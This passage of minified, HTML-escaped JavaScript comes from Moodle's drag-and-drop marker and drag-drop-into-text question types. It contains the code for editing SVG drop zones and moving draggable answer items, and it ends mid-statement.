define(&quot;qtype_ddmarker/form&quot;,[&quot;jquery&quot;,&quot;core/dragdrop&quot;,&quot;qtype_ddmarker/shapes&quot;],(function($,dragDrop,Shapes){function DropZoneManager(dropzoneNo){this.dropzoneNo=dropzoneNo,this.svgEl=null,this.shape=Shapes.make(this.getShapeType(),this.getLabel()),this.updateCoordinatesFromForm()}DropZoneManager.prototype.updateCoordinatesFromForm=function(svg){var coordinates=this.getCoordinates(),currentNumPoints=&quot;polygon&quot;===this.shape.getType()&amp;&amp;this.shape.points.length;if(this.shape.getCoordinates()!==coordinates&amp;&amp;this.shape.parse(coordinates,1)){if(&quot;polygon&quot;===this.shape.getType()&amp;&amp;currentNumPoints!==this.shape.points.length){var currentyActive=this.isActive();this.removeFromSvg(),svg&amp;&amp;(this.addToSvg(svg),currentyActive&amp;&amp;this.setActive())}else this.updateSvgEl();this.setCoordinatesInForm()}},DropZoneManager.prototype.updateLabel=function(){var label=this.getLabel();this.shape.label!==label&amp;&amp;(this.shape.label=label,this.updateSvgEl())},DropZoneManager.prototype.changeShape=function(svg){var newShapeType=this.getShapeType(),currentyActive=this.isActive();newShapeType!==this.shape.getType()&amp;&amp;(this.removeFromSvg(),this.shape=Shapes.getSimilar(newShapeType,this.shape),svg&amp;&amp;(this.addToSvg(svg),currentyActive&amp;&amp;this.setActive()),this.setCoordinatesInForm())},DropZoneManager.prototype.addToSvg=function(svg){if(null!==this.svgEl)throw new Error(&quot;this.svgEl already set&quot;);if(this.svgEl=this.shape.makeSvg(svg),this.svgEl){this.svgEl.setAttribute(&quot;class&quot;,&quot;dropzone&quot;),this.svgEl.setAttribute(&quot;data-dropzone-no&quot;,this.dropzoneNo);var handles=this.shape.getHandlePositions();if(null!==handles){var moveHandle=Shapes.createSvgElement(this.svgEl,&quot;circle&quot;);moveHandle.setAttribute(&quot;cx&quot;,handles.moveHandle.x),moveHandle.setAttribute(&quot;cy&quot;,handles.moveHandle.y),moveHandle.setAttribute(&quot;r&quot;,7),moveHandle.setAttribute(&quot;class&quot;,&quot;handle move&quot;);for(var i=0;i&lt;handles.editHandles.length;++i)this.makeEditHandle(i,handles.editHandles[i])}}},DropZoneManager.prototype.makeEditHandle=function(index,point){var editHandle=Shapes.createSvgElement(this.svgEl,&quot;rect&quot;);editHandle.setAttribute(&quot;x&quot;,point.x-6),editHandle.setAttribute(&quot;y&quot;,point.y-6),editHandle.setAttribute(&quot;width&quot;,11),editHandle.setAttribute(&quot;height&quot;,11),editHandle.setAttribute(&quot;class&quot;,&quot;handle edit&quot;),editHandle.setAttribute(&quot;data-edit-handle-no&quot;,index)},DropZoneManager.prototype.removeFromSvg=function(){null!==this.svgEl&amp;&amp;(this.svgEl.parentNode.removeChild(this.svgEl),this.svgEl=null)},DropZoneManager.prototype.updateSvgEl=function(){if(null!==this.svgEl){this.shape.updateSvg(this.svgEl);var handles=this.shape.getHandlePositions();if(null!==handles){this.svgEl.childNodes[2].setAttribute(&quot;cx&quot;,handles.moveHandle.x),this.svgEl.childNodes[2].setAttribute(&quot;cy&quot;,handles.moveHandle.y);for(var i=0;i&lt;handles.editHandles.length;++i)this.svgEl.childNodes[3+i].setAttribute(&quot;x&quot;,handles.editHandles[i].x-6),this.svgEl.childNodes[3+i].setAttribute(&quot;y&quot;,handles.editHandles[i].y-6)}}},DropZoneManager.prototype.isActive=function(){return null!==this.svgEl&amp;&amp;this.svgEl.getAttribute(&quot;class&quot;).match(/\bactive\b/)},DropZoneManager.prototype.setActive=function(){var parent=this.svgEl.parentNode;parent.removeChild(this.svgEl),parent.appendChild(this.svgEl),this.svgEl.setAttribute(&quot;class&quot;,this.svgEl.getAttribute(&quot;class&quot;)+&quot; active&quot;)},DropZoneManager.prototype.setCoordinatesInForm=function(){dragDropForm.form.setFormValue(&quot;drops&quot;,[this.dropzoneNo,&quot;coords&quot;],this.shape.getCoordinates())},DropZoneManager.prototype.getCoordinates=function(){return dragDropForm.form.getFormValue(&quot;drops&quot;,[this.dropzoneNo,&quot;coords&quot;]).replace(/\s*/g,&quot;&quot;)},DropZoneManager.prototype.getChoiceNo=function(){return dragDropForm.form.getFormValue(&quot;drops&quot;,[this.dropzoneNo,&quot;choice&quot;])},DropZoneManager.prototype.getLabel=function(){return dragDropForm.form.getMarkerText(this.getChoiceNo())},DropZoneManager.prototype.getShapeType=function(){return dragDropForm.form.getFormValue(&quot;drops&quot;,[this.dropzoneNo,&quot;shape&quot;])},DropZoneManager.prototype.handleMove=function(e){var info=dragDrop.prepare(e);if(info.start){var movingDropZone=this,lastX=info.x,lastY=info.y,dragProxy=this.makeDragProxy(info.x,info.y),bgImg=$(&quot;fieldset#id_previewareaheader .dropbackground&quot;),maxX=bgImg.width(),maxY=bgImg.height();dragDrop.start(e,$(dragProxy),(function(pageX,pageY){movingDropZone.shape.move(pageX-lastX,pageY-lastY,maxX,maxY),lastX=pageX,lastY=pageY,movingDropZone.updateSvgEl(),movingDropZone.setCoordinatesInForm()}),(function(){document.body.removeChild(dragProxy)}))}},DropZoneManager.prototype.handleEdit=function(e,handleIndex,svg){var info=dragDrop.prepare(e);if(info.start){&quot;polygon&quot;===this.shape.getType()&amp;&amp;(e.ctrlKey||e.metaKey)&amp;&amp;(this.shape.addNewPointAfter(handleIndex),this.removeFromSvg(),this.addToSvg(svg),this.setActive());var changingDropZone=this,lastX=info.x,lastY=info.y,dragProxy=this.makeDragProxy(info.x,info.y),bgImg=$(&quot;fieldset#id_previewareaheader .dropbackground&quot;),maxX=bgImg.width(),maxY=bgImg.height();dragDrop.start(e,$(dragProxy),(function(pageX,pageY){changingDropZone.shape.edit(handleIndex,pageX-lastX,pageY-lastY,maxX,maxY),lastX=pageX,lastY=pageY,changingDropZone.updateSvgEl(),changingDropZone.setCoordinatesInForm()}),(function(){document.body.removeChild(dragProxy),changingDropZone.shape.normalizeShape(),changingDropZone.updateSvgEl(),changingDropZone.setCoordinatesInForm()}))}},DropZoneManager.prototype.makeDragProxy=function(x,y){var dragProxy=document.createElement(&quot;div&quot;);return dragProxy.style.position=&quot;absolute&quot;,dragProxy.style.top=y+&quot;px&quot;,dragProxy.style.left=x+&quot;px&quot;,dragProxy.style.width=&quot;1px&quot;,dragProxy.style.height=&quot;1px&quot;,document.body.appendChild(dragProxy),dragProxy};var dragDropForm={fp:null,noDropZones:null,dropZones:[],init:function(){dragDropForm.fp=dragDropForm.filePickers(),dragDropForm.noDropZones=dragDropForm.form.getFormValue(&quot;nodropzone&quot;,[]),dragDropForm.setupPreviewArea(),dragDropForm.setOptionsForDragItemSelectors(),dragDropForm.createShapes(),dragDropForm.setupEventHandlers(),dragDropForm.waitForFilePickerToInitialise()},setupPreviewArea:function(){$(&quot;fieldset#id_previewareaheader div.fcontainer&quot;).append(&#039;&lt;div class=&quot;ddarea que ddmarker&quot;&gt;   &lt;div id=&quot;ddm-droparea&quot; class=&quot;droparea&quot;&gt;       &lt;img class=&quot;dropbackground&quot; /&gt;       &lt;div id=&quot;ddm-dropzone&quot; class=&quot;dropzones&quot;&gt;       &lt;/div&gt;   &lt;/div&gt;&lt;/div&gt;&#039;)},setOptionsForDragItemSelectors:function(){var selector,i,label,dragItemsOptions={0:&quot;&quot;},noItems=dragDropForm.form.getFormValue(&quot;noitems&quot;,[]),selectedValues=[];for(i=1;i&lt;=noItems;i++)&quot;&quot;!==(label=dragDropForm.form.getMarkerText(i))&amp;&amp;(dragItemsOptions[i]=$(&quot;&lt;div/&gt;&quot;).text(label).html());for(i=0;i&lt;dragDropForm.noDropZones;i++)selector=$(&quot;#id_drops_&quot;+i+&quot;_choice&quot;),selectedValues[i]=Number(selector.val());for(i=0;i&lt;dragDropForm.noDropZones;i++){for(var value in(selector=$(&quot;#id_drops_&quot;+i+&quot;_choice&quot;)).find(&quot;option&quot;).remove(),dragItemsOptions){var option=&#039;&lt;option value=&quot;&#039;+(value=Number(value))+&#039;&quot;&gt;&#039;+dragItemsOptions[value]+&quot;&lt;/option&gt;&quot;;selector.append(option);var optionnode=selector.find(&#039;option[value=&quot;&#039;+value+&#039;&quot;]&#039;);if(0!==value)if(value!==selectedValues[i]){var noofdrags=dragDropForm.form.getFormValue(&quot;drags&quot;,[value-1,&quot;noofdrags&quot;]);if(0!==Number(noofdrags))for(var k in selectedValues)if(Number(selectedValues[k])===value){if(1===Number(noofdrags)){optionnode.attr(&quot;disabled&quot;,!0);break}noofdrags--}}else optionnode.attr(&quot;selected&quot;,!0)}dragDropForm.dropZones.length&gt;0&amp;&amp;dragDropForm.dropZones[i].updateLabel()}},createShapes:function(){for(var dropzoneNo=0;dropzoneNo&lt;dragDropForm.noDropZones;dropzoneNo++)dragDropForm.dropZones[dropzoneNo]=new DropZoneManager(dropzoneNo)},setupEventHandlers:function(){$(&quot;fieldset#id_draggableitemheader&quot;).on(&quot;change input&quot;,&quot;input, select&quot;,(function(){dragDropForm.setOptionsForDragItemSelectors()})),$(&quot;fieldset#id_dropzoneheader&quot;).on(&quot;change input&quot;,&quot;input, select&quot;,(function(e){var ids=e.currentTarget.name.match(/^drops\[(\d+)]\[([a-z]*)]$/);if(ids){var dropzoneNo=ids[1],inputType=ids[2],dropZone=dragDropForm.dropZones[dropzoneNo];switch(inputType){case&quot;shape&quot;:dropZone.changeShape(dragDropForm.form.getSvg());break;case&quot;coords&quot;:dropZone.updateCoordinatesFromForm(dragDropForm.form.getSvg());break;case&quot;choice&quot;:dropZone.updateLabel()}}}));var previewArea=$(&quot;fieldset#id_previewareaheader&quot;);previewArea.on(&quot;click&quot;,&quot;g.dropzone&quot;,(function(e){var dropzoneNo=$(e.currentTarget).data(&quot;dropzone-no&quot;),currentlyActive=dragDropForm.dropZones[dropzoneNo].isActive();$(dragDropForm.form.getSvg()).find(&quot;.dropzone.active&quot;).removeClass(&quot;active&quot;),currentlyActive||dragDropForm.dropZones[dropzoneNo].setActive()})),previewArea.on(&quot;mousedown touchstart&quot;,&quot;.dropzone .handle.move&quot;,(function(e){var dropzoneNo=$(e.currentTarget).closest(&quot;g&quot;).data(&quot;dropzoneNo&quot;);dragDropForm.dropZones[dropzoneNo].handleMove(e)})),previewArea.on(&quot;mousedown touchstart&quot;,&quot;.dropzone .handle.edit&quot;,(function(e){var dropzoneNo=$(e.currentTarget).closest(&quot;g&quot;).data(&quot;dropzoneNo&quot;),handleIndex=e.currentTarget.getAttribute(&quot;data-edit-handle-no&quot;);dragDropForm.dropZones[dropzoneNo].handleEdit(e,handleIndex,dragDropForm.form.getSvg())}))},waitForFilePickerToInitialise:function(){null!==dragDropForm.fp.file(&quot;bgimage&quot;).href?($(&#039;form.mform[data-qtype=&quot;ddmarker&quot;]&#039;).on(&quot;change&quot;,&quot;#id_bgimage&quot;,dragDropForm.loadPreviewImage),dragDropForm.loadPreviewImage()):setTimeout(dragDropForm.waitForFilePickerToInitialise,1e3)},loadPreviewImage:function(){$(&quot;fieldset#id_previewareaheader .dropbackground&quot;).one(&quot;load&quot;,dragDropForm.afterPreviewImageLoaded).attr(&quot;src&quot;,dragDropForm.fp.file(&quot;bgimage&quot;).href)},afterPreviewImageLoaded:function(){var bgImg=$(&quot;fieldset#id_previewareaheader .dropbackground&quot;);$(&quot;#ddm-dropzone&quot;).css(&quot;position&quot;,&quot;relative&quot;).css(&quot;top&quot;,-1*(bgImg.height()+1)),$(&quot;#ddm-droparea&quot;).css(&quot;height&quot;,bgImg.height()+20),dragDropForm.updateSvgDisplay()},updateSvgDisplay:function(){var dropzoneNo,bgImg=$(&quot;fieldset#id_previewareaheader .dropbackground&quot;);if(dragDropForm.form.getSvg())for(dropzoneNo=0;dropzoneNo&lt;dragDropForm.noDropZones;dropzoneNo++)dragDropForm.dropZones[dropzoneNo].updateSvgEl();else for($(&quot;#ddm-dropzone&quot;).html(&#039;&lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; class=&quot;dropzones&quot; width=&quot;&#039;+bgImg.outerWidth()+&#039;&quot; height=&quot;&#039;+bgImg.outerHeight()+&#039;&quot;&gt;&lt;/svg&gt;&#039;),dropzoneNo=0;dropzoneNo&lt;dragDropForm.noDropZones;dropzoneNo++)dragDropForm.dropZones[dropzoneNo].addToSvg(dragDropForm.form.getSvg())},form:{getMarkerText:function(markerNo){return 0!==Number(markerNo)?dragDropForm.form.getFormValue(&quot;drags&quot;,[markerNo-1,&quot;label&quot;]).replace(new RegExp(&quot;^\\s*(.*)\\s*$&quot;),&quot;$1&quot;):&quot;&quot;},getSvg:function(){var svg=$(&quot;fieldset#id_previewareaheader svg&quot;);return 0===svg.length?null:svg[0]},toNameWithIndex:function(name,indexes){for(var indexString=name,i=0;i&lt;indexes.length;i++)indexString=indexString+&quot;[&quot;+indexes[i]+&quot;]&quot;;return indexString},getEl:function(name,indexes){return $(&#039;form.mform[data-qtype=&quot;ddmarker&quot;]&#039;)[0].elements[this.toNameWithIndex(name,indexes)]},getFormValue:function(name,indexes){var el=this.getEl(name,indexes);return&quot;checkbox&quot;===el.type?el.checked:el.value},setFormValue:function(name,indexes,value){var el=this.getEl(name,indexes);&quot;checkbox&quot;===el.type?el.checked=value:el.value=value}},filePickers:function(){var draftItemIdsToName,nameToParentNode;return void 0===draftItemIdsToName&amp;&amp;(draftItemIdsToName={},nameToParentNode={},$(&quot;form.mform input.filepickerhidden&quot;).each((function(key,filepicker){draftItemIdsToName[filepicker.value]=filepicker.name,nameToParentNode[filepicker.name]=filepicker.parentNode}))),{file:function(name){var fileAnchor=$(nameToParentNode[name]).find(&quot;div.filepicker-filelist a&quot;);return fileAnchor.length?{href:fileAnchor.get(0).href,name:fileAnchor.get(0).innerHTML}:{href:null,name:null}},name:function(draftitemid){return draftItemIdsToName[draftitemid]}}}};return{init:dragDropForm.init}}));
/**
 * JavaScript to make drag-drop into text questions work.
 *
 * Some vocabulary to help understand this code:
 *
 * The question text contains &#039;drops&#039; - blanks into which the &#039;drags&#039;, the missing
 * words, can be put.
 *
 * The thing that can be moved into the drops are called &#039;drags&#039;. There may be
 * multiple copies of the &#039;same&#039; drag which does not really cause problems.
 * Each drag has a &#039;choice&#039; number which is the value set on the drop&#039;s hidden
 * input when this drag is placed in a drop.
 *
 * These may be in separate &#039;groups&#039;, distinguished by colour.
 * Things can only interact with other things in the same group.
 * The groups are numbered from 1.
 *
 * The place where a given drag started from is called its &#039;home&#039;.
 *
 * @module     qtype_ddwtos/ddwtos
 * @copyright  2018 The Open University
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @since      3.6
 */
define(&quot;qtype_ddwtos/ddwtos&quot;,[&quot;jquery&quot;,&quot;core/dragdrop&quot;,&quot;core/key_codes&quot;,&quot;core_form/changechecker&quot;],(function($,dragDrop,keys,FormChangeChecker){function DragDropToTextQuestion(containerId,readOnly){this.containerId=containerId,this.questionAnswer={},readOnly&amp;&amp;this.getRoot().addClass(&quot;qtype_ddwtos-readonly&quot;),this.resizeAllDragsAndDrops(),this.cloneDrags(),this.positionDrags()}DragDropToTextQuestion.prototype.resizeAllDragsAndDrops=function(){var thisQ=this;this.getRoot().find(&quot;.answercontainer &gt; div&quot;).each((function(i,node){thisQ.resizeAllDragsAndDropsInGroup(thisQ.getClassnameNumericSuffix($(node),&quot;draggrouphomes&quot;))}))},DragDropToTextQuestion.prototype.resizeAllDragsAndDropsInGroup=function(group){var thisQ=this,dragHomes=this.getRoot().find(&quot;.draggrouphomes&quot;+group+&quot; span.draghome&quot;),maxWidth=0,maxHeight=0;dragHomes.each((function(i,drag){maxWidth=Math.max(maxWidth,Math.ceil(drag.offsetWidth)),maxHeight=Math.max(maxHeight,Math.ceil(0+drag.offsetHeight))})),maxWidth+=8,maxHeight+=2,dragHomes.each((function(i,drag){thisQ.setElementSize(drag,maxWidth,maxHeight)})),this.getRoot().find(&quot;span.drop.group&quot;+group).each((function(i,drop){thisQ.setElementSize(drop,maxWidth,maxHeight)}))},DragDropToTextQuestion.prototype.setElementSize=function(element,width,height){$(element).width(width).height(height).css(&quot;lineHeight&quot;,height+&quot;px&quot;)},DragDropToTextQuestion.prototype.cloneDrags=function(){var thisQ=this;thisQ.getRoot().find(&quot;span.draghome&quot;).each((function(index,draghome){var drag=$(draghome),placeHolder=drag.clone();placeHolder.removeClass(),placeHolder.addClass(&quot;draghome choice&quot;+thisQ.getChoice(drag)+&quot; group&quot;+thisQ.getGroup(drag)+&quot; dragplaceholder&quot;),drag.before(placeHolder)}))},DragDropToTextQuestion.prototype.positionDrags=function(){var thisQ=this,root=this.getRoot();root.find(&quot;span.draghome&quot;).not(&quot;.dragplaceholder&quot;).each((function(i,dragNode){var drag=$(dragNode),currentPlace=thisQ.getClassnameNumericSuffix(drag,&quot;inplace&quot;);drag.addClass(&quot;unplaced&quot;).removeClass(&quot;placed&quot;),drag.removeAttr(&quot;tabindex&quot;),null!==currentPlace&amp;&amp;drag.removeClass(&quot;inplace&quot;+currentPlace)})),root.find(&quot;input.placeinput&quot;).each((function(i,inputNode){var input=$(inputNode),choice=input.val(),place=thisQ.getPlace(input),drop=root.find(&quot;.drop.place&quot;+place),dropPosition=drop.offset();if(drop.data(&quot;prev-top&quot;,dropPosition.top).data(&quot;prev-left&quot;,dropPosition.left),&quot;0&quot;!==choice){var unplacedDrag=thisQ.getUnplacedChoice(thisQ.getGroup(input),choice),hiddenDrag=thisQ.getDragClone(unplacedDrag);if(hiddenDrag.length)if(unplacedDrag.hasClass(&quot;infinite&quot;)){var noOfDrags=thisQ.noOfDropsInGroup(thisQ.getGroup(unplacedDrag));if(thisQ.getInfiniteDragClones(unplacedDrag,!1).length&lt;noOfDrags){var cloneDrag=unplacedDrag.clone();hiddenDrag.after(cloneDrag),questionManager.addEventHandlersToDrag(cloneDrag)}else hiddenDrag.addClass(&quot;active&quot;)}else hiddenDrag.addClass(&quot;active&quot;);thisQ.sendDragToDrop(thisQ.getUnplacedChoice(thisQ.getGroup(input),choice),drop)}})),thisQ.questionAnswer=thisQ.getQuestionAnsweredValues()},DragDropToTextQuestion.prototype.getQuestionAnsweredValues=function(){let result={};return this.getRoot().find(&quot;input.placeinput&quot;).each(((i,inputNode)=&gt;{result[inputNode.id]=inputNode.value})),result},DragDropToTextQuestion.prototype.isQuestionInteracted=function(){const oldAnswer=this.questionAnswer,newAnswer=this.getQuestionAnsweredValues();let isInteracted=!1;return JSON.stringify(newAnswer)!==JSON.stringify(oldAnswer)?(isInteracted=!0,isInteracted):(Object.keys(newAnswer).forEach((key=&gt;{newAnswer[key]!==oldAnswer[key]&amp;&amp;(isInteracted=!0)})),isInteracted)},DragDropToTextQuestion.prototype.handleDragStart=function(e){var thisQ=this,drag=$(e.target).closest(&quot;.draghome&quot;);if(dragDrop.prepare(e).start&amp;&amp;!drag.hasClass(&quot;beingdragged&quot;)){drag.addClass(&quot;beingdragged&quot;);var currentPlace=this.getClassnameNumericSuffix(drag,&quot;inplace&quot;);if(null!==currentPlace){this.setInputValue(currentPlace,0),drag.removeClass(&quot;inplace&quot;+currentPlace);var hiddenDrop=thisQ.getDrop(drag,currentPlace);hiddenDrop.length&amp;&amp;(hiddenDrop.addClass(&quot;active&quot;),drag.offset(hiddenDrop.offset()))}else{var hiddenDrag=thisQ.getDragClone(drag);if(hiddenDrag.length)if(drag.hasClass(&quot;infinite&quot;)){var noOfDrags=this.noOfDropsInGroup(this.getGroup(drag));if(this.getInfiniteDragClones(drag,!1).length&lt;noOfDrags){var cloneDrag=drag.clone();cloneDrag.removeClass(&quot;beingdragged&quot;),hiddenDrag.after(cloneDrag),questionManager.addEventHandlersToDrag(cloneDrag),drag.offset(cloneDrag.offset())}else hiddenDrag.addClass(&quot;active&quot;),drag.offset(hiddenDrag.offset())}else hiddenDrag.addClass(&quot;active&quot;),drag.offset(hiddenDrag.offset())}dragDrop.start(e,drag,(function(x,y,drag){thisQ.dragMove(x,y,drag)}),(function(x,y,drag){thisQ.dragEnd(x,y,drag)}))}},DragDropToTextQuestion.prototype.dragMove=function(pageX,pageY,drag){var thisQ=this;this.getRoot().find(&quot;span.drop.group&quot;+this.getGroup(drag)).each((function(i,dropNode){var drop=$(dropNode);thisQ.isPointInDrop(pageX,pageY,drop)?drop.addClass(&quot;valid-drag-over-drop&quot;):drop.removeClass(&quot;valid-drag-over-drop&quot;)})),this.getRoot().find(&quot;span.draghome.placed.group&quot;+this.getGroup(drag)).not(&quot;.beingdragged&quot;).each((function(i,dropNode){var drop=$(dropNode);thisQ.isPointInDrop(pageX,pageY,drop)&amp;&amp;!thisQ.isDragSameAsDrop(drag,drop)?drop.addClass(&quot;valid-drag-over-drop&quot;):drop.removeClass(&quot;valid-drag-over-drop&quot;)}))},DragDropToTextQuestion.prototype.dragEnd=function(pageX,pageY,drag){var thisQ=this,root=this.getRoot(),placed=!1;root.find(&quot;span.drop.group&quot;+this.getGroup(drag)).each((function(i,dropNode){var drop=$(dropNode);return!thisQ.isPointInDrop(pageX,pageY,drop)||(drop.removeClass(&quot;valid-drag-over-drop&quot;),thisQ.sendDragToDrop(drag,drop),placed=!0,!1)})),root.find(&quot;span.draghome.placed.group&quot;+this.getGroup(drag)).not(&quot;.beingdragged&quot;).each((function(i,placedNode){var placedDrag=$(placedNode);if(!thisQ.isPointInDrop(pageX,pageY,placedDrag)||thisQ.isDragSameAsDrop(drag,placedDrag))return!0;placedDrag.removeClass(&quot;valid-drag-over-drop&quot;);var currentPlace=thisQ.getClassnameNumericSuffix(placedDrag,&quot;inplace&quot;),drop=thisQ.getDrop(drag,currentPlace);return thisQ.sendDragToDrop(drag,drop),placed=!0,!1})),placed||this.sendDragHome(drag)},DragDropToTextQuestion.prototype.sendDragToDrop=function(drag,drop){var oldDrag=this.getCurrentDragInPlace(this.getPlace(drop));if(0!==oldDrag.length){var currentPlace=this.getClassnameNumericSuffix(oldDrag,&quot;inplace&quot;),hiddenDrop=this.getDrop(oldDrag,currentPlace);hiddenDrop.addClass(&quot;active&quot;),oldDrag.addClass(&quot;beingdragged&quot;),oldDrag.offset(hiddenDrop.offset()),this.sendDragHome(oldDrag)}0===drag.length?(this.setInputValue(this.getPlace(drop),0),drop.data(&quot;isfocus&quot;)&amp;&amp;drop.focus()):(this.setInputValue(this.getPlace(drop),this.getChoice(drag)),drag.removeClass(&quot;unplaced&quot;).addClass(&quot;placed inplace&quot;+this.getPlace(drop)),drag.attr(&quot;tabindex&quot;,0),this.animateTo(drag,drop))},DragDropToTextQuestion.prototype.sendDragHome=function(drag){var currentPlace=this.getClassnameNumericSuffix(drag,&quot;inplace&quot;);null!==currentPlace&amp;&amp;drag.removeClass(&quot;inplace&quot;+currentPlace),drag.data(&quot;unplaced&quot;,!0),this.animateTo(drag,this.getDragHome(this.getGroup(drag),this.getChoice(drag)))},DragDropToTextQuestion.prototype.handleKeyPress=function(e){var drop=$(e.target).closest(&quot;.drop&quot;);if(0===drop.length){var placedDrag=$(e.target),currentPlace=this.getClassnameNumericSuffix(placedDrag,&quot;inplace&quot;);null!==currentPlace&amp;&amp;(drop=this.getDrop(placedDrag,currentPlace))}var currentDrag=this.getCurrentDragInPlace(this.getPlace(drop)),nextDrag=$();switch(e.keyCode){case keys.space:case keys.arrowRight:case keys.arrowDown:nextDrag=this.getNextDrag(this.getGroup(drop),currentDrag);break;case keys.arrowLeft:case keys.arrowUp:nextDrag=this.getPreviousDrag(this.getGroup(drop),currentDrag);break;case keys.escape:break;default:return void(questionManager.isKeyboardNavigation=!1)}if(nextDrag.length){nextDrag.data(&quot;isfocus&quot;,!0),nextDrag.addClass(&quot;beingdragged&quot;);var hiddenDrag=this.getDragClone(nextDrag);if(hiddenDrag.length)if(nextDrag.hasClass(&quot;infinite&quot;)){var noOfDrags=this.noOfDropsInGroup(this.getGroup(nextDrag));if(this.getInfiniteDragClones(nextDrag,!1).length&lt;noOfDrags){var cloneDrag=nextDrag.clone();cloneDrag.removeClass(&quot;beingdragged&quot;),cloneDrag.removeAttr(&quot;tabindex&quot;),hiddenDrag.after(cloneDrag),questionManager.addEventHandlersToDrag(cloneDrag),nextDrag.offset(cloneDrag.offset())}else hiddenDrag.addClass(&quot;active&quot;),nextDrag.offset(hiddenDrag.offset())}else hiddenDrag.addClass(&quot;active&quot;),nextDrag.offset(hiddenDrag.offset())}else drop.data(&quot;isfocus&quot;,!0);e.preventDefault(),this.sendDragToDrop(nextDrag,drop)},DragDropToTextQuestion.prototype.getNextDrag=function(group,drag){var choice,numChoices=this.noOfChoicesInGroup(group);choice=0===drag.length?1:this.getChoice(drag)+1;for(var next=this.getUnplacedChoice(group,choice);0===next.length&amp;&amp;choice&lt;numChoices;)choice++,next=this.getUnplacedChoice(group,choice);return next},DragDropToTextQuestion.prototype.getPreviousDrag=function(group,drag){var choice;choice=0===drag.length?this.noOfChoicesInGroup(group):this.getChoice(drag)-1;for(var previous=this.getUnplacedChoice(group,choice);0===previous.length&amp;&amp;choice&gt;1;)choice--,previous=this.getUnplacedChoice(group,choice);return previous},DragDropToTextQuestion.prototype.animateTo=function(drag,target){var currentPos=drag.offset(),targetPos=target.offset(),thisQ=this;M.util.js_pending(&quot;qtype_ddwtos-animate-&quot;+thisQ.containerId),drag.animate({left:parseInt(drag.css(&quot;left&quot;))+targetPos.left-currentPos.left,top:parseInt(drag.css(&quot;top&quot;))+targetPos.top-currentPos.top},{duration:&quot;fast&quot;,done:function(){$(&quot;body&quot;).trigger(&quot;qtype_ddwtos-dragmoved&quot;,[drag,target,thisQ]),M.util.js_complete(&quot;qtype_ddwtos-animate-&quot;+thisQ.containerId)}})},DragDropToTextQuestion.prototype.isPointInDrop=function(pageX,pageY,drop){var position=drop.offset();return pageX&gt;=position.left&amp;&amp;pageX&lt;position.left+drop.width()&amp;&amp;pageY&gt;=position.top&amp;&amp;pageY&lt;position.top+drop.height()},DragDropToTextQuestion.prototype.setInputValue=function(place,choice){this.getRoot().find(&quot;input.placeinput.place&quot;+place).val(choice)},DragDropToTextQuestion.prototype.getRoot=function(){return $(document.getElementById(this.containerId))},DragDropToTextQuestion.prototype.getDragHome=function(group,choice){return this.getRoot().find(&quot;.draghome.dragplaceholder.group&quot;+group+&quot;.choice&quot;+choice).is(&quot;:visible&quot;)?this.getRoot().find(&quot;.draghome.dragplaceholder.group&quot;+group+&quot;.choice&quot;+choice):this.getRoot().find(&quot;.draggrouphomes&quot;+group+&quot; span.draghome.infinite.choice&quot;+choice+&quot;.group&quot;+group)},DragDropToTextQuestion.prototype.getUnplacedChoice=function(group,choice){return this.getRoot().find(&quot;.draghome.group&quot;+group+&quot;.choice&quot;+choice+&quot;.unplaced&quot;).slice(0,1)},DragDropToTextQuestion.prototype.getCurrentDragInPlace=function(place){return this.getRoot().find(&quot;span.draghome.inplace&quot;+place)},DragDropToTextQuestion.prototype.noOfDropsInGroup=function(group){return this.getRoot().find(&quot;.drop.group&quot;+group).length},DragDropToTextQuestion.prototype.noOfChoicesInGroup=function(group){return this.getRoot().find(&quot;.draghome.group&quot;+group).length},DragDropToTextQuestion.prototype.getClassnameNumericSuffix=function(node,prefix){var classes=node.attr(&quot;class&quot;);if(&quot;&quot;!==classes)for(var classesArr=classes.split(&quot; &quot;),index=0;index&lt;classesArr.length;index++){if(new RegExp(&quot;^&quot;+prefix+&quot;([0-9])+$&quot;).test(classesArr[index])){var match=new RegExp(&quot;([0-9])+$&quot;).exec(classesArr[index]);return Number(match[0])}}return null},DragDropToTextQuestion.prototype.getChoice=function(drag){return this.getClassnameNumericSuffix(drag,&quot;choice&quot;)},DragDropToTextQuestion.prototype.getGroup=function(node){return this.getClassnameNumericSuffix(node,&quot;group&quot;)},DragDropToTextQuestion.prototype.getPlace=function(node){return this.getClassnameNumericSuffix(node,&quot;place&quot;)},DragDropToTextQuestion.prototype.getDragClone=function(drag){return this.getRoot().find(&quot;.draggrouphomes&quot;+this.getGroup(drag)+&quot; span.draghome.choice&quot;+this.getChoice(drag)+&quot;.group&quot;+this.getGroup(drag)+&quot;.dragplaceholder&quot;)},DragDropToTextQuestion.prototype.getInfiniteDragClones=function(drag,inHome){return inHome?this.getRoot().find(&quot;.draggrouphomes&quot;+this.getGroup(drag)+&quot; span.draghome.choice&quot;+this.getChoice(drag)+&quot;.group&quot;+this.getGroup(drag)+&quot;.infinite&quot;).not(&quot;.dragplaceholder&quot;):this.getRoot().find(&quot;span.draghome.choice&quot;+this.getChoice(drag)+&quot;.group&quot;+this.getGroup(drag)+&quot;.infinite&quot;).not(&quot;.dragplaceholder&quot;)},DragDropToTextQuestion.prototype.getDrop=function(drag,currentPlace){return this.getRoot().find(&quot;.drop.group&quot;+this.getGroup(drag)+&quot;.place&quot;+currentPlace)},DragDropToTextQuestion.prototype.isDragSameAsDrop=function(drag,drop){return this.getChoice(drag)===this.getChoice(drop)&amp;&amp;this.getGroup(drag)===this.getGroup(drop)};var questionManager={eventHandlersInitialised:!1,dragEventHandlersInitialised:{},isKeyboardNavigation:!1,questions:{},init:function(containerId,readOnly){if(questionManager.questions[containerId]=new DragDropToTextQuestion(containerId,readOnly),questionManager.eventHandlersInitialised||(questionManager.setupEventHandlers(),questionManager.eventHandlersInitialised=!0),!questionManager.dragEventHandlersInitialised.hasOwnProperty(containerId)){questionManager.dragEventHandlersInitialised[containerId]=!0;var questionContainer=document.getElementById(containerId);questionContainer.classList.contains(&quot;ddwtos&quot;)&amp;&amp;!questionContainer.classList.contains(&quot;qtype_ddwtos-readonly&quot;)&amp;&amp;questionManager.addEventHandlersToDrag($(questionContainer).find(&quot;span.draghome&quot;))}},setupEventHandlers:function(){$(&quot;body&quot;).on(&quot;keydown&quot;,&quot;.que.ddwtos:not(.qtype_ddwtos-readonly) span.drop&quot;,questionManager.handleKeyPress).on(&quot;keydown&quot;,&quot;.que.ddwtos:not(.qtype_ddwtos-readonly) 